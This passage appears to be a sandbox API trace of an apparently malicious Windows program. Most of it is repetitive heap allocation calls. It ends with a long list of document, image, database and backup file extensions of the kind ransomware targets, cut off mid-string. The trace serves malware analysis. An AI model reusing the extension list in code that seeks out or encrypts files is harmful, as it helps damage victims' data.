[0256.126] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57d410, Size=0x800) returned 0x5c10e8 [0256.127] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c10e8, Size=0x1000) returned 0x5c10e8 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x58f0e8 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d98 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x574e70 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x5794d0 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x574e88 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x579488 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x574ea0 [0256.127] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579488, Size=0x8) returned 0x579488 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x574eb8 [0256.127] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579488, Size=0x10) returned 0x579488 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x574ed0 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x574ee8 [0256.127] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579488, Size=0x20) returned 0x579580 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x574f00 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x579488 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x574f18 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x574f30 [0256.127] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579580, Size=0x40) returned 0x579580 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x574f48 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x574f60 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x574f78 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x574f90 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x574fa8 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x574fc0 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x579498 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x574fd8 [0256.127] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579580, Size=0x80) returned 0x57bef0 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x574ff0 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x575008 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x575020 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d428 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d440 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x57d458 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d470 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57d810 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d488 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d4a0 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x57d4b8 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d4d0 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x57d4e8 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d500 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x57d518 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d530 [0256.127] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57bef0, Size=0x100) returned 0x57da28 [0256.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d548 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d560 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d578 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x57d590 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d5a8 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d5c0 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57db48 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d5d8 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d5f0 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d608 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x57db58 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d620 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d638 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57db68 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d650 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d668 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x57d680 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d698 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d6b0 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d6c8 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x57d6e0 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d6f8 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x57d710 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d728 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d740 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d758 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d770 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57db78 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d788 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d7a0 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d7b8 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d7d0 [0256.128] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57da28, Size=0x200) returned 0x5c20f0 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x57d7e8 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57db88 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2310 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2328 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2340 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2358 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2370 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2388 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c23a0 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c23b8 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c23d0 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c23e8 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c2400 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2418 [0256.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2430 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c2448 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c2460 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2478 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c2490 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c24a8 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c24c0 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c24d8 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c24f0 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57db98 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2508 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2520 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2538 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57dba8 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2550 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c2568 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2580 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2598 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c25b0 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c25c8 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c25e0 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c25f8 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c2610 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c2628 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2640 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2658 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2670 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c2688 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c26a0 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c26b8 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c26d0 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2710 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2728 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2740 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2758 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57dbb8 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x57dbc8 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2770 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2788 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c27a0 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c27b8 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c27d0 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c27e8 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2800 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2818 [0256.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2830 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2848 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c2860 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2878 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2890 [0256.130] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c20f0, Size=0x400) returned 0x5c2af8 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c28a8 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c28c0 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c28d8 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c28f0 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2908 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2920 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c2938 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2950 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2968 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2980 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57dbd8 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2998 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c29b0 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c29c8 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c29e0 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c29f8 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2a10 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5c2a28 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2a40 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2a58 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2a70 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2a88 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2aa0 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2ab8 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2ad0 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2f18 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57dbe8 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2f30 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2f48 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2f60 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2f78 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2f90 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2fa8 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2fc0 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2fd8 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c2ff0 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5c3008 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3020 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5c3038 [0256.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3050 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3068 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3080 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3098 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c30b0 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c30c8 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c30e0 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c30f8 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3110 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3128 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3140 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3158 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3170 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3188 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c31a0 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c31b8 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c31d0 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c31e8 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3200 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3218 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3230 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3248 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3260 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5c3278 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x12) returned 0x57a1c0 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3290 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c32a8 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c32c0 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c32d8 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3318 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3330 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3348 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3360 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3378 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3390 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c33a8 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c33c0 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c33d8 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c33f0 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3408 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3420 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3438 [0256.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3450 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3468 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3480 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c3498 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c34b0 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c34c8 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5c34e0 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c34f8 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57dbf8 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3510 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57dc08 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3528 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3540 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3558 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c3570 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c3588 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c35a0 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c35b8 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c35d0 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c35e8 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c3600 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3618 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c3630 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c3648 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3660 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57dc18 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3678 [0256.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3690 [0256.132] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c2af8, Size=0x800) returned 0x59f0f0 [0256.132] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;